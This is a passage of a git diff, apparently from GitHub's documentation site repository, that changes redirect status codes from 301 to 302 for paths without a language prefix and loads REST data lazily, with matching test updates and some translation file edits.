"get-started/onboarding/getting-started-with-github-team", "path_count": 1137} +{"path_article": "issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board", "path_count": 1133} +{"path_article": "github/site-policy/github-codespaces-privacy-statement", "path_count": 1132} +{"path_article": "actions/deployment/managing-your-deployments/viewing-deployment-history", "path_count": 1130} +{"path_article": "organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators", "path_count": 1129} +{"path_article": "billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date", "path_count": 1125} +{"path_article": "repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content", "path_count": 1123} +{"path_article": "repositories/working-with-files", "path_count": 1122} +{"path_article": "pull-requests/committing-changes-to-your-project", "path_count": 1122} +{"path_article": "authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user", "path_count": 1119} +{"path_article": "authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok", "path_count": 1113} +{"path_article": "admin/installation", "path_count": 1109} +{"path_article": "github/writing-on-github/working-with-saved-replies/creating-a-saved-reply", "path_count": 1102} +{"path_article": "github/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone", "path_count": 1093} +{"path_article": "billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts", "path_count": 1092} +{"path_article": "communities/moderating-comments-and-conversations/locking-conversations", "path_count": 1090} +{"path_article": "actions/guides", "path_count": 1078} +{"path_article": "repositories/viewing-activity-and-data-for-your-repository", "path_count": 1071} +{"path_article": "admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware", "path_count": 1069} +{"path_article": "actions/using-containerized-services/creating-redis-service-containers", "path_count": 1067} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile", "path_count": 1065} +{"path_article": "discussions/collaborating-with-your-community-using-discussions/about-discussions", "path_count": 1063} +{"path_article": "search-github/searching-on-github/searching-for-packages", "path_count": 1063} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review", "path_count": 1063} +{"path_article": "github/committing-changes-to-your-project/creating-and-editing-commits/about-commits", "path_count": 1062} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership", "path_count": 1060} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request", "path_count": 1060} +{"path_article": "communities/setting-up-your-project-for-healthy-contributions", "path_count": 1058} +{"path_article": "communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization", "path_count": 1058} +{"path_article": "rest/reference/interactions", "path_count": 1055} +{"path_article": "developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app", "path_count": 1054} +{"path_article": "organizations/organizing-members-into-teams/removing-organization-members-from-a-team", "path_count": 1049} +{"path_article": "organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group", "path_count": 1049} +{"path_article": "desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop", "path_count": 1041} +{"path_article": "developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors", "path_count": 1041} +{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github", "path_count": 1040} +{"path_article": "admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users", "path_count": 1039} +{"path_article": "codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces", "path_count": 1039} +{"path_article": "admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs", "path_count": 1027} +{"path_article": "organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization", "path_count": 1025} +{"path_article": "actions/automating-builds-and-tests/building-and-testing-java-with-ant", "path_count": 1024} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline", "path_count": 1023} +{"path_article": "actions/creating-actions/developing-a-third-party-cli-action", "path_count": 1020} +{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow", "path_count": 1019} +{"path_article": "admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml", "path_count": 1017} +{"path_article": "github/site-policy/github-community-forum-code-of-conduct", "path_count": 1015} +{"path_article": "get-started/learning-about-github", "path_count": 1015} +{"path_article": "education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom", "path_count": 1014} +{"path_article": "codespaces/codespaces-reference/understanding-billing-for-codespaces", "path_count": 1011} +{"path_article": "graphql/guides/using-global-node-ids", "path_count": 1010} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account", "path_count": 1008} +{"path_article": "code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning", "path_count": 1007} +{"path_article": "billing/managing-billing-for-git-large-file-storage", "path_count": 1004} +{"path_article": "repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures", "path_count": 1003} +{"path_article": "codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace", "path_count": 1001} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile", "path_count": 1001} +{"path_article": "rest/reference/billing", "path_count": 1000} +{"path_article": "graphql/overview/breaking-changes", "path_count": 997} diff --git a/middleware/archived-enterprise-versions.js b/middleware/archived-enterprise-versions.js index 2e8d2d7faf..2bd686e3b4 100644 --- a/middleware/archived-enterprise-versions.js +++ b/middleware/archived-enterprise-versions.js @@ -12,6 +12,7 @@ import isArchivedVersion from '../lib/is-archived-version.js' import got from 'got' import { readCompressedJsonFileFallback } from '../lib/read-json-file.js' import { cacheControlFactory } from './cache-control.js' +import { pathLanguagePrefixed } from '../lib/languages.js' function readJsonFileLazily(xpath) { const cache = new Map() @@ -74,6 +75,8 @@ export default async function archivedEnterpriseVersions(req, res, next) { // Skip asset paths if (patterns.assetPaths.test(req.path)) return next() + const redirectCode = pathLanguagePrefixed(req.path) ? 301 : 302 + // redirect language-prefixed URLs like /en/enterprise/2.10 -> /enterprise/2.10 // (this only applies to versions <2.13) if ( @@ -81,7 +84,7 @@ export default async function archivedEnterpriseVersions(req, res, next) { versionSatisfiesRange(requestedVersion, `<${firstVersionDeprecatedOnNewSite}`) ) { cacheControl(res) - return res.redirect(301, req.baseUrl + req.path.replace(/^\/en/, '')) + return res.redirect(redirectCode, req.baseUrl + req.path.replace(/^\/en/, '')) } // find redirects for versions between 2.13 and 2.17 @@ -95,7 +98,7 @@ export default async function archivedEnterpriseVersions(req, res, next) { const redirect = archivedRedirects()[req.path] if (redirect && redirect !== req.path) { cacheControl(res) - return res.redirect(301, redirect) + return res.redirect(redirectCode, redirect) } } @@ -107,7 +110,7 @@ export default async function archivedEnterpriseVersions(req, res, next) { if (redirectJson[req.path]) { res.set('x-robots-tag', 'noindex') cacheControl(res) - return res.redirect(301, redirectJson[req.path]) + return res.redirect(redirectCode, redirectJson[req.path]) } } catch (err) { // noop @@ -130,7 +133,7 @@ export default async function archivedEnterpriseVersions(req, res, next) { const staticRedirect = r.body.match(patterns.staticRedirect) if (staticRedirect) { cacheControl(res) - return res.redirect(301, staticRedirect[1]) + return res.redirect(redirectCode, staticRedirect[1]) } res.set('content-type', r.headers['content-type']) @@ -149,7 +152,7 @@ export default async function archivedEnterpriseVersions(req, res, next) { ])() if (r.statusCode === 200) { cacheControl(res) - return res.redirect(301, fallbackRedirect) + return res.redirect(redirectCode, fallbackRedirect) } } diff --git a/middleware/contextualizers/rest.js b/middleware/contextualizers/rest.js index 3a695eaba8..9ed8f2a06e 100644 --- a/middleware/contextualizers/rest.js +++ b/middleware/contextualizers/rest.js @@ -1,8 +1,17 @@ import path from 'path' -import rest from '../../lib/rest/index.js' +import getRest from '../../lib/rest/index.js' import removeFPTFromPath from '../../lib/remove-fpt-from-path.js' -export default function restContext(req, res, next) { +// Global cache to avoid calling getRest() more than once +let rest = null + +export default async function restContext(req, res, next) { + // Bail early because these are pointless to contextualize + if (req.path.startsWith('/_next/static')) return next() + + if (!rest) { + rest = await getRest() + } req.context.rest = rest // link to include in `Works with GitHub Apps` notes diff --git a/middleware/find-page.js b/middleware/find-page.js index 2830a7863a..702921d15f 100644 --- a/middleware/find-page.js +++ b/middleware/find-page.js @@ -21,12 +21,12 @@ export default async function findPage(req, res, next) { // If the requested translated page has a 1-1 mapping in English, // redirect to that English page if (page) { - return res.redirect(301, englishPath) + return res.redirect(302, englishPath) } // If the English file was renamed and has a redirect that matches the // requested page's href, redirect to the new English href if (redirectToPath) { - return res.redirect(301, redirectToPath) + return res.redirect(302, redirectToPath) } } diff --git a/middleware/redirects/handle-redirects.js b/middleware/redirects/handle-redirects.js index ee4c8f25ee..a833147bf0 100644 --- a/middleware/redirects/handle-redirects.js +++ b/middleware/redirects/handle-redirects.js @@ -1,13 +1,11 @@ import patterns from '../../lib/patterns.js' import { URL } from 'url' -import languages, { languageKeys } from '../../lib/languages.js' +import languages, { pathLanguagePrefixed } from '../../lib/languages.js' import { cacheControlFactory } from '../cache-control.js' const cacheControl = cacheControlFactory(60 * 60 * 24) // one day const noCacheControl = cacheControlFactory(0) -const languagePrefixURIRegex = new RegExp(`^/(${languageKeys.join('|')})/`) - export default function handleRedirects(req, res, next) { // never redirect assets if (patterns.assetPaths.test(req.path)) return next() @@ -70,11 +68,15 @@ export default function handleRedirects(req, res, next) { } // do the redirect if the from-URL already had a language in it - if (languagePrefixURIRegex.test(req.path)) { + if (pathLanguagePrefixed(req.path)) { cacheControl(res) } - return res.redirect(301, redirect) + // If the redirect involved injecting a language prefix, then don't + // permanently redirect because that could overly cache in users' + // browsers if we some day want to make the language redirect + // depend on a cookie or 'Accept-Language' header. + return res.redirect(pathLanguagePrefixed(req.path) ? 301 : 302, redirect) } function removeQueryParams(redirect) { diff --git a/middleware/redirects/language-code-redirects.js b/middleware/redirects/language-code-redirects.js index 58bbef5aea..74a37f92ba 100644 --- a/middleware/redirects/language-code-redirects.js +++ b/middleware/redirects/language-code-redirects.js @@ -1,18 +1,37 @@ import languages from '../../lib/languages.js' +const redirectPatterns = Object.values(languages) + .map((language) => language.redirectPatterns || []) + .flat() +// If the enabled languages have `.redirectPatterns`, combine them +// into one which we only need to use to determine if we should bother +// doing the redirect at all. +const combinedRedirectPatternRegex = + redirectPatterns.length > 0 + ? new RegExp(redirectPatterns.map((rex) => rex.source).join('|')) + : null + // This middleware handles redirects for mistyped language codes // // Examples: // /jp* -> /ja* // /zh-TW* -> /cn* export default function languageCodeRedirects(req, res, next) { - for (const code in languages) { - const language = languages[code] - const redirectPatterns = language.redirectPatterns || [] - for (const i in redirectPatterns) { - const redirectPattern = redirectPatterns[i] - if (redirectPattern.test(req.path)) { - return res.redirect(301, req.path.replace(redirectPattern, `/${language.code}`)) + // Only in the unlikely event that the `req.path` starts with one of these + // prefixes do we bother looking up what the redirect should be. + if ( + !req.path.startsWith('/_next/static') && + combinedRedirectPatternRegex && + combinedRedirectPatternRegex.test(req.path) + ) { + // This loop is almost never ever used to it doesn't have to be + // particularly smart or fast. + for (const language of Object.values(languages)) { + const redirectPatterns = language.redirectPatterns || [] + for (const redirectPattern of redirectPatterns) { + if (redirectPattern.test(req.path)) { + return res.redirect(301, req.path.replace(redirectPattern, `/${language.code}`)) + } } } } diff --git a/tests/rendering/rest.js b/tests/rendering/rest.js index 53f616fba8..8f66097599 100644 --- a/tests/rendering/rest.js +++ b/tests/rendering/rest.js @@ -4,7 +4,7 @@ import fs from 'fs/promises' import { difference, isPlainObject } from 'lodash-es' import { getJSON } from '../helpers/supertest.js' import enterpriseServerReleases from '../../lib/enterprise-server-releases.js' -import rest from '../../lib/rest/index.js' +import getRest from '../../lib/rest/index.js' import { jest } from '@jest/globals' const __dirname = path.dirname(fileURLToPath(import.meta.url)) @@ -20,7 +20,7 @@ describe('REST references docs', () => { jest.setTimeout(3 * 60 * 1000) test('markdown file exists for every operationId prefix in the api.github.com schema', async () => { - const { categories } = rest + const { categories } = await getRest() const referenceDir = path.join(__dirname, '../../content/rest/reference') const filenames = (await fs.readdir(referenceDir)) .filter( @@ -61,7 +61,7 @@ describe('REST references docs', () => { }) test('no wrongly detected AppleScript syntax highlighting in schema data', async () => { - const { operations } = rest + const { operations } = await getRest() expect(JSON.stringify(operations).includes('hljs language-applescript')).toBe(false) }) }) diff --git a/tests/rendering/server.js b/tests/rendering/server.js index d71a99eb3a..95459c3fd7 100644 --- a/tests/rendering/server.js +++ b/tests/rendering/server.js @@ -608,7 +608,7 @@ describe('server', () => { describe('redirects', () => { test('redirects old articles to their English URL', async () => { const res = await get('/articles/deleting-a-team') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) // no cache control because a language prefix had to be injected expect(res.headers['cache-control']).toBeUndefined() }) @@ -616,7 +616,7 @@ describe('server', () => { test('redirects old articles to their slugified URL', async () => { const res = await get('/articles/about-github-s-ip-addresses') expect(res.text).toBe( - 'Moved Permanently. Redirecting to /en/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses' + 'Found. Redirecting to /en/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses' ) }) @@ -629,7 +629,7 @@ describe('server', () => { test('adds English prefix to old article URLs', async () => { const res = await get('/articles/deleting-a-team') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location.startsWith('/en/')).toBe(true) expect(res.headers['cache-control']).toBeUndefined() }) diff --git a/tests/routing/deprecated-enterprise-versions.js b/tests/routing/deprecated-enterprise-versions.js index ff6cc1bdc3..a1dfda04ed 100644 --- a/tests/routing/deprecated-enterprise-versions.js +++ b/tests/routing/deprecated-enterprise-versions.js @@ -25,7 +25,7 @@ describe('enterprise deprecation', () => { test('redirects non-language-prefixed requests for deprecated enterprise content >=2.13', async () => { const res = await get('/enterprise/2.13') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe('/en/enterprise/2.13') }) @@ -41,7 +41,7 @@ describe('enterprise deprecation', () => { test('can access redirects from redirects.json in deprecated enterprise content >2.17', async () => { const res = await get('/enterprise/2.19/admin/categories/time') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe( '/en/enterprise-server@2.19/admin/configuration/configuring-time-synchronization' ) diff --git a/tests/routing/developer-site-redirects.js b/tests/routing/developer-site-redirects.js index f44d958162..1351145efd 100644 --- a/tests/routing/developer-site-redirects.js +++ b/tests/routing/developer-site-redirects.js @@ -25,7 +25,7 @@ describe('developer redirects', () => { describe('redirects /v4 requests to /graphql', () => { test('graphql homepage', async () => { const res = await get('/v4') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) const expectedFinalPath = '/en/graphql' expect(res.headers.location).toBe(expectedFinalPath) }) @@ -42,7 +42,7 @@ describe('developer redirects', () => { const oldPath = '/v4/breaking_changes' const newPath = '/graphql/overview/breaking-changes' const res = await get(oldPath) - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe(`/en${newPath}`) const enterpriseRes = await get(`/enterprise${oldPath}`, { followAllRedirects: true }) @@ -72,7 +72,7 @@ describe('developer redirects', () => { test('redirects /v3 requests to /rest', async () => { let expectedFinalPath let res = await get('/v3') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expectedFinalPath = '/en/rest' expect(res.headers.location).toBe(expectedFinalPath) @@ -111,7 +111,10 @@ describe('developer redirects', () => { MAX_CONCURRENT_REQUESTS, async (newPath, oldPath) => { const res = await get(oldPath) - expect(res.statusCode, `${oldPath} did not redirect to ${newPath}`).toBe(301) + const sameFirstPrefix = oldPath.split('/')[1] === newPath.split('/')[1] + expect(res.statusCode, `${oldPath} did not redirect to ${newPath}`).toBe( + sameFirstPrefix ? 301 : 302 + ) expect(res.headers.location).toBe(newPath) } ) @@ -127,7 +130,11 @@ describe('developer redirects', () => { `/enterprise-server@${enterpriseServerReleases.latest}/` ) const res = await get(oldPath) - expect(res.statusCode, `${oldPath} did not redirect to ${newPath}`).toBe(301) + + const sameFirstPrefix = oldPath.split('/')[1] === newPath.split('/')[1] + expect(res.statusCode, `${oldPath} did not redirect to ${newPath}`).toBe( + sameFirstPrefix ? 301 : 302 + ) expect(res.headers.location, `${oldPath} did not redirect to ${newPath}`).toBe(newPath) }) }) @@ -145,7 +152,10 @@ describe('developer redirects', () => { `/enterprise-server@${enterpriseServerReleases.latest}/` ) const res = await get(oldPath) - expect(res.statusCode, `${oldPath} did not redirect to ${newPath}`).toBe(301) + const sameFirstPrefix = oldPath.split('/')[1] === newPath.split('/')[1] + expect(res.statusCode, `${oldPath} did not redirect to ${newPath}`).toBe( + sameFirstPrefix ? 301 : 302 + ) expect(res.headers.location, `${oldPath} did not redirect to ${newPath}`).toBe(newPath) } ) diff --git a/tests/routing/redirects.js b/tests/routing/redirects.js index 939d3de703..cb216f874f 100644 --- a/tests/routing/redirects.js +++ b/tests/routing/redirects.js @@ -68,7 +68,7 @@ describe('redirects', () => { describe('query params', () => { test('are preserved in redirected URLs', async () => { const res = await get('/enterprise/admin?query=pulls') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) const expected = `/en/enterprise-server@${enterpriseServerReleases.latest}/admin?query=pulls` expect(res.headers.location).toBe(expected) }) @@ -176,13 +176,13 @@ describe('redirects', () => { test('/enterprise', async () => { const res = await get('/enterprise') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe(enterpriseHome) }) test('no language code redirects to english', async () => { const res = await get(`/enterprise/${enterpriseServerReleases.latest}`) - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe(enterpriseHome) }) @@ -208,7 +208,7 @@ describe('redirects', () => { describe('2.13+ deprecated enterprise', () => { test('no language code redirects to english', async () => { const res = await get('/enterprise/2.13') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe('/en/enterprise/2.13') }) @@ -228,7 +228,7 @@ describe('redirects', () => { test('frontmatter redirect', async () => { const res = await get('/enterprise/2.12/user/articles/github-flavored-markdown') - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) // because it doesn't have a language expect(res.headers.location).toBe('/enterprise/2.12/user/categories/writing-on-github/') }) }) @@ -244,7 +244,7 @@ describe('redirects', () => { test('no language code redirects to english', async () => { const res = await get(`/enterprise/${latest}/admin`) - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe(enterpriseAdmin) }) @@ -328,7 +328,7 @@ describe('redirects', () => { test('no language code redirects to english', async () => { const res = await get(`/enterprise/${enterpriseServerReleases.latest}/user/github`) - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe(enterpriseUser) }) @@ -367,7 +367,7 @@ describe('redirects', () => { const res = await get( `/enterprise/${enterpriseServerReleases.latest}/user/articles/about-writing-and-formatting-on-github` ) - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe(userArticle) }) @@ -401,7 +401,7 @@ describe('redirects', () => { const res = await get( `/enterprise/${enterpriseServerReleases.latest}/user${redirectFromPath}` ) - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe(userArticle) }) @@ -427,7 +427,7 @@ describe('redirects', () => { const res = await get( '/desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request' ) - expect(res.statusCode).toBe(301) + expect(res.statusCode).toBe(302) expect(res.headers.location).toBe(desktopGuide) }) diff --git a/tests/routing/release-notes.js b/tests/routing/release-notes.js index 3a18167758..464ad8c2bc 100644 --- a/tests/routing/release-notes.js +++ b/tests/routing/release-notes.js @@ -47,7 +47,27 @@ describe('release notes', () => { expect(res.statusCode).toBe(200) const $ = await getDOM('/en/github-ae@latest/admin/release-notes') expect($('h1').text()).toBe('GitHub AE release notes') - expect($('h2').first().text().trim().startsWith('Week of')).toBe(true) + + const monthNames = [ + 'January', + 'February', + 'March', + 'April', + 'May', + 'June', + 'July', + 'August', + 'September', + 'October', + 'November', + 'December', + ] + const releaseNotesH2 = $('h2').first().text().trim() + const monthMatch = monthNames.some((month) => { + return releaseNotesH2.startsWith(month) + }) + + expect(monthMatch).toBe(true) }) it('sends a 404 if a bogus version is requested', async () => { diff --git a/tests/unit/openapi-schema.js b/tests/unit/openapi-schema.js index 7bf10786b3..1e49f50dbb 100644 --- a/tests/unit/openapi-schema.js +++ b/tests/unit/openapi-schema.js @@ -4,11 +4,18 @@ import walk from 'walk-sync' import { get, isPlainObject } from 'lodash-es' import { allVersions } from '../../lib/all-versions.js' import nonEnterpriseDefaultVersion from '../../lib/non-enterprise-default-version.js' -import { operations } from '../../lib/rest/index.js' +import getRest from '../../lib/rest/index.js' import dedent from 'dedent' +import { beforeAll } from '@jest/globals' const __dirname = path.dirname(fileURLToPath(import.meta.url)) const schemasPath = path.join(__dirname, '../../lib/rest/static/decorated') -const nonEnterpriseDefaultVersionSchema = operations[nonEnterpriseDefaultVersion] + +let operations = null +let nonEnterpriseDefaultVersionSchema = null +beforeAll(async () => { + operations = (await getRest()).operations + nonEnterpriseDefaultVersionSchema = operations[nonEnterpriseDefaultVersion] +}) describe('OpenAPI schema validation', () => { test('makes an object', () => { diff --git a/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md index 46385e5480..9171475df9 100644 --- a/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md +++ b/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md @@ -4,7 +4,7 @@ intro: You can skip workflow runs triggered by the `push` and `pull_request` eve versions: fpt: '*' ghes: '*' - ghae: ghae-next + ghae: next ghec: '*' shortTitle: Skip workflow runs --- diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md index 200793f7e5..1b2f2dc9e6 100644 --- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md +++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md @@ -1,28 +1,29 @@ --- -title: Visualizar el tiempo de ejecución de un job -intro: 'Puedes ver el tiempo de ejecución de un job, incluyendo los minutos facturables que este job ha acumulado.' +title: Viewing job execution time +intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.' redirect_from: - /actions/managing-workflow-runs/viewing-job-execution-time versions: fpt: '*' ghec: '*' -shortTitle: Visualizar el tiempo de ejecución de un job +shortTitle: View job execution time --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -Los minutos de ejecución facturables para un job solo se muestran en aquellos jobs que se ejecutan en repositorios privados que utilizan ejecutores hospedados en {% data variables.product.prodname_dotcom %}. No hay minutos facturables cuando se utiliza {% data variables.product.prodname_actions %} en repositorios públicos o para trabajos que se ejecutan en ejecutores auto-hospedados. +Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} -1. Debajo del resumen del job, puedes ver el tiempo de ejecución del mismo. Para ver los detalles sobre el tiempo facturable de la ejecución de jobs, da clic en el tiempo que se muestra debajo de **tiempo facturable**. ![Enlace para los detalles de tiempo facturable y de ejecución](/assets/images/help/repository/view-run-billable-time.png) +1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**. + ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png) {% note %} - - **Nota:** El tiempo facturable que se muestra no incluye ningún multiplicador de minutos o de redondeo. Para ver tu uso total de {% data variables.product.prodname_actions %}, incluyendo los multiplicadores de minutos y de redondeo, consulta la sección "[Visualizar tu uso de {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)". - + + **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)." + {% endnote %} diff --git a/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md index 60771903fb..52ed166394 100644 --- a/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md +++ b/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md @@ -331,19 +331,19 @@ The following tables describe the {% data variables.product.prodname_actions %} |------------------|------------------- | `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)." | `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. -| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} | `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)." | `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." | `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). | `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." -| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} | `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." | `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." -| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | 